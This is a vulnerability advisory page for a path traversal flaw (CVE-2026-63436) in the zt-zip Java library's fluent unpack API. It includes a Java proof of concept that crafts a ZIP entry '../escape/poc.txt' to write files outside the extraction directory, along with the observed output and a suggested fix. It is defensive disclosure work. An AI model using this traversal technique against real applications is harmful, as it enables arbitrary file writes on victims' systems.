GHSA-52C6-99QM-3HQR

Vulnerability from github – Published: 2026-11-09 18:47 – Updated: 2026-11-09 18:47
VLAI
Summary
zt-zip: Path traversal in fluent API unpack
Details

Summary

ZipUtil.unpack(...) rejects ZIP entries that escape the target output directory, but the Zips fluent API appears to use a separate unpack implementation that does not apply the same destination-boundary check.

A ZIP entry such as:

../escape/poc.txt

is written outside the configured destination directory when processed with:

Zips.get(zip).unpack().destination(outputDir).process();

The transformer branch is affected as well.

Tested Version

commit: 067935dca375500d3ff025aafcdf0e4283931b1a

Root Cause

In src/main/java/org/zeroturnaround/zip/Zips.java, Zips.UnpackingCallback.process(...) builds the output file directly from the ZIP entry name:

String entryName = zipEntry.getName();
File file = new File(destination, entryName);

The method then creates directories/files and copies content to that path:

FileUtils.forceMkdir(file.getParentFile());
file.createNewFile();
FileUtils.copy(in, file);

When a transformer is configured, the same file is passed to transformIntoFile(...).

There does not appear to be a canonical path check before these filesystem writes, so ../ entries can resolve outside destination.

Minimal Reproduction

import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.zip.*;

import org.zeroturnaround.zip.ZipUtil;
import org.zeroturnaround.zip.Zips;
import org.zeroturnaround.zip.transform.ZipEntryTransformer;

public class ZipsTraversalPoc {
  public static void main(String[] args) throws Exception {
    Path work = Files.createTempDirectory("ztzip-zips-poc");
    Path zip = work.resolve("poc.zip");
    Path escaped = work.resolve("escape").resolve("poc.txt");
    String entryName = "../escape/poc.txt";

    Files.createDirectories(escaped.getParent());

    try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) {
      zos.putNextEntry(new ZipEntry(entryName));
      zos.write("plain branch\n".getBytes(StandardCharsets.UTF_8));
      zos.closeEntry();
    }

    Path zipUtilOut = work.resolve("ziputil-out");
    Files.createDirectories(zipUtilOut);
    try {
      ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile());
      System.out.println("ZIPUTIL_REJECTED=false");
    }
    catch (Throwable t) {
      System.out.println("ZIPUTIL_REJECTED=" + t.getClass().getName());
    }
    System.out.println("ZIPUTIL_ESCAPED_EXISTS=" + Files.exists(escaped));

    Files.deleteIfExists(escaped);

    Path zipsOut = work.resolve("zips-out");
    Files.createDirectories(zipsOut);
    Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process();
    System.out.println("ZIPS_PLAIN_ESCAPED_EXISTS=" + Files.exists(escaped));
    System.out.println("ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsOut.normalize()));

    Files.deleteIfExists(escaped);

    Path zipsTransformOut = work.resolve("zips-transform-out");
    Files.createDirectories(zipsTransformOut);
    Zips.get(zip.toFile())
        .unpack()
        .destination(zipsTransformOut.toFile())
        .addTransformer(entryName, new ZipEntryTransformer() {
          public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException {
            out.putNextEntry(new ZipEntry(entry.getName()));
            out.write("transform branch\n".getBytes(StandardCharsets.UTF_8));
            out.closeEntry();
          }
        })
        .process();
    System.out.println("ZIPS_TRANSFORM_ESCAPED_EXISTS=" + Files.exists(escaped));
    System.out.println("ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsTransformOut.normalize()));
  }
}

Observed output:

ZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException
ZIPUTIL_ESCAPED_EXISTS=false
ZIPS_PLAIN_ESCAPED_EXISTS=true
ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true
ZIPS_TRANSFORM_ESCAPED_EXISTS=true
ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true

Expected Behavior

Zips.get(zip).unpack().destination(outputDir).process() should reject traversal entries or otherwise ensure that the resolved output path remains inside outputDir.

Impact

Applications that unpack attacker-controlled ZIP files through the Zips fluent API may allow arbitrary file writes outside the intended extraction directory, depending on filesystem permissions and application layout.

Suggested Fix

Apply the same destination-boundary validation used by ZipUtil.unpack(...) before any filesystem write in Zips.UnpackingCallback.process(...).

For example, compare canonical Path values before creating directories or files:

file.getCanonicalFile().toPath()
    .startsWith(destination.getCanonicalFile().toPath())

Regression tests should cover both:

```java Zips.get(zip).unpack().destination(out).process(); Zips.get(zip).unpack().destination(out).addTransformer(...).process();

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.zeroturnaround:zt-zip"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63436"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-09T18:47:27Z",
    "nvd_published_at": "2026-11-03T18:18:03Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`ZipUtil.unpack(...)` rejects ZIP entries that escape the target output directory, but the `Zips` fluent API appears to use a separate unpack implementation that does not apply the same destination-boundary check.\n\nA ZIP entry such as:\n\n```text\n../escape/poc.txt\n```\n\nis written outside the configured destination directory when processed with:\n\n```java\nZips.get(zip).unpack().destination(outputDir).process();\n```\n\nThe transformer branch is affected as well.\n\n### Tested Version\n\ncommit: 067935dca375500d3ff025aafcdf0e4283931b1a\n\n### Root Cause\n\nIn `src/main/java/org/zeroturnaround/zip/Zips.java`, `Zips.UnpackingCallback.process(...)` builds the output file directly from the ZIP entry name:\n\n```java\nString entryName = zipEntry.getName();\nFile file = new File(destination, entryName);\n```\n\nThe method then creates directories/files and copies content to that path:\n\n```java\nFileUtils.forceMkdir(file.getParentFile());\nfile.createNewFile();\nFileUtils.copy(in, file);\n```\n\nWhen a transformer is configured, the same `file` is passed to `transformIntoFile(...)`.\n\nThere does not appear to be a canonical path check before these filesystem writes, so `../` entries can resolve outside `destination`.\n\n### Minimal Reproduction\n\n```java\nimport java.io.*;\nimport java.nio.charset.StandardCharsets;\nimport java.nio.file.*;\nimport java.util.zip.*;\n\nimport org.zeroturnaround.zip.ZipUtil;\nimport org.zeroturnaround.zip.Zips;\nimport org.zeroturnaround.zip.transform.ZipEntryTransformer;\n\npublic class ZipsTraversalPoc {\n  public static void main(String[] args) throws Exception {\n    Path work = Files.createTempDirectory(\"ztzip-zips-poc\");\n    Path zip = work.resolve(\"poc.zip\");\n    Path escaped = work.resolve(\"escape\").resolve(\"poc.txt\");\n    String entryName = \"../escape/poc.txt\";\n\n    Files.createDirectories(escaped.getParent());\n\n    try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) {\n      zos.putNextEntry(new ZipEntry(entryName));\n      zos.write(\"plain branch\\n\".getBytes(StandardCharsets.UTF_8));\n      zos.closeEntry();\n    }\n\n    Path zipUtilOut = work.resolve(\"ziputil-out\");\n    Files.createDirectories(zipUtilOut);\n    try {\n      ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile());\n      System.out.println(\"ZIPUTIL_REJECTED=false\");\n    }\n    catch (Throwable t) {\n      System.out.println(\"ZIPUTIL_REJECTED=\" + t.getClass().getName());\n    }\n    System.out.println(\"ZIPUTIL_ESCAPED_EXISTS=\" + Files.exists(escaped));\n\n    Files.deleteIfExists(escaped);\n\n    Path zipsOut = work.resolve(\"zips-out\");\n    Files.createDirectories(zipsOut);\n    Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process();\n    System.out.println(\"ZIPS_PLAIN_ESCAPED_EXISTS=\" + Files.exists(escaped));\n    System.out.println(\"ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=\" + !escaped.normalize().startsWith(zipsOut.normalize()));\n\n    Files.deleteIfExists(escaped);\n\n    Path zipsTransformOut = work.resolve(\"zips-transform-out\");\n    Files.createDirectories(zipsTransformOut);\n    Zips.get(zip.toFile())\n        .unpack()\n        .destination(zipsTransformOut.toFile())\n        .addTransformer(entryName, new ZipEntryTransformer() {\n          public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException {\n            out.putNextEntry(new ZipEntry(entry.getName()));\n            out.write(\"transform branch\\n\".getBytes(StandardCharsets.UTF_8));\n            out.closeEntry();\n          }\n        })\n        .process();\n    System.out.println(\"ZIPS_TRANSFORM_ESCAPED_EXISTS=\" + Files.exists(escaped));\n    System.out.println(\"ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=\" + !escaped.normalize().startsWith(zipsTransformOut.normalize()));\n  }\n}\n```\n\nObserved output:\n\n```text\nZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException\nZIPUTIL_ESCAPED_EXISTS=false\nZIPS_PLAIN_ESCAPED_EXISTS=true\nZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true\nZIPS_TRANSFORM_ESCAPED_EXISTS=true\nZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true\n```\n\n### Expected Behavior\n\n`Zips.get(zip).unpack().destination(outputDir).process()` should reject traversal entries or otherwise ensure that the resolved output path remains inside `outputDir`.\n\n### Impact\n\nApplications that unpack attacker-controlled ZIP files through the `Zips` fluent API may allow arbitrary file writes outside the intended extraction directory, depending on filesystem permissions and application layout.\n\n### Suggested Fix\n\nApply the same destination-boundary validation used by `ZipUtil.unpack(...)` before any filesystem write in `Zips.UnpackingCallback.process(...)`.\n\nFor example, compare canonical `Path` values before creating directories or files:\n\n```java\nfile.getCanonicalFile().toPath()\n    .startsWith(destination.getCanonicalFile().toPath())\n```\n\nRegression tests should cover both:\n\n```java\nZips.get(zip).unpack().destination(out).process();\nZips.get(zip).unpack().destination(out).addTransformer(...).process();",
  "id": "GHSA-52c6-99qm-3hqr",
  "modified": "2026-11-09T18:47:27Z",
  "published": "2026-11-09T18:47:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zeroturnaround/zt-zip/security/advisories/GHSA-52c6-99qm-3hqr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63436"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zeroturnaround/zt-zip/pull/180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zeroturnaround/zt-zip/commit/59a76ad576b0fcd50ea018e3608afb946c1492fd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zeroturnaround/zt-zip"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zeroturnaround/zt-zip/releases/tag/v1.18.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "zt-zip: Path traversal in fluent API unpack"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.